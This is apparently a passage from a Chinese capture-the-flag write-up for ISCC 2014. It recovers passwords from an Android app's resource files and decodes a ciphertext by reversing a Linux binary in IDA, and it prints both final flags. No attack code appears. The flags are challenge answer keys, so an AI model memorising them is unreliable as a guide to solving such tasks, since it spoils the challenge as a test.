拿到手機上輸入卻提示密碼錯誤,還有問題,仔細再看看代碼,原來在MainActivity.java中字符串變量a和b的值被重新賦值了:
在public.xml中可以查到id=”0x7f070001”
和”0x7f070002”
對應的name分別是:
在/layout/activity_main.xml下可以看到:
再到strings.xml中得到w→”w”,d8→”_”
,從而變量a和b被重新賦值為”w”和”_”,變量c沒有重新賦值,保持初始化的值” ”。 從而我們得到a()=”what_bad_luck_recently”
,這就是第一層密碼。第二層密碼就簡單多了,注意到b.v(){return c;}=” ”
。
很容易得到b()=”it is best not to do anything when you feel like crazy”
,提交第二層密碼就是Flag。 Flag:it is best not to do anything when you feel like crazy
粗看密文,發現每三位的數字基本上都是在100-255之間,不是三位的有58,97,98,故在這三個數前面各添加1個0,得到058128178205200226193178205200198197213225209168156150134117098097101177
,密文的長度也從69變成了72,剛好也是8的倍數。轉成16進制得到3a80b2cdc8e2c1b2cdc8c6c5d5e1d1a89c968675626165b1
,看不出是個什么東西,拿到解密網站去解也沒啥用。故轉向附件中的Linux可執行文件,IDA打開,在sub_821C函數中分析得出密文[i]=明文[i]+明文[i-1]。拿到瀏覽器控制臺計算:
Flag:Flag_for_ISCC2014